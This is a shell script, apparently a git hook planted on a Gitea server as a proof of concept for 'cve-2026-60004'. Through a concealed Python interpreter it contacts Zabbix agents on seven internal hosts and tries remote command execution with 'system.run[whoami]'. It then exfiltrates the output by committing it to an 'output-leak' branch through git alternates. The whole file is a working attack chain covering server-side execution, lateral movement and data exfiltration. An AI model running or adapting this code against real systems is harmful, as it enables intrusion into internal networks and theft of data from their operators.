44 lines
1.8 KiB
Bash
Executable File
44 lines
1.8 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(/var/lib/gitea/.imp/bin/python3 << 'PYEOF'
|
|
import socket, struct, sys
|
|
|
|
def zbx_request(ip, item_key, timeout=5):
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.settimeout(timeout)
|
|
s.connect((ip, 10050))
|
|
data = item_key.encode()
|
|
header = b'ZBXD\x01' + struct.pack('<Q', len(data))
|
|
s.sendall(header + data)
|
|
resp = b''
|
|
while True:
|
|
chunk = s.recv(4096)
|
|
if not chunk:
|
|
break
|
|
resp += chunk
|
|
s.close()
|
|
if resp.startswith(b'ZBXD\x01'):
|
|
plen = struct.unpack('<Q', resp[5:13])[0]
|
|
return resp[13:13+plen].decode('utf-8', errors='replace')
|
|
return resp.decode('utf-8', errors='replace')
|
|
except Exception as e:
|
|
return "ERR: %s" % e
|
|
|
|
hosts = ["10.209.15.5", "10.209.15.51", "10.209.15.81", "10.209.15.86", "10.209.15.165", "10.209.15.166", "10.209.15.182"]
|
|
for ip in hosts:
|
|
# test basic agent.ping first
|
|
r = zbx_request(ip, "agent.ping")
|
|
print("%s agent.ping -> %s" % (ip, r.strip()[:100]))
|
|
# test system.run
|
|
r2 = zbx_request(ip, "system.run[whoami]")
|
|
print("%s system.run[whoami] -> %s" % (ip, r2.strip()[:200]))
|
|
print()
|
|
PYEOF 2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|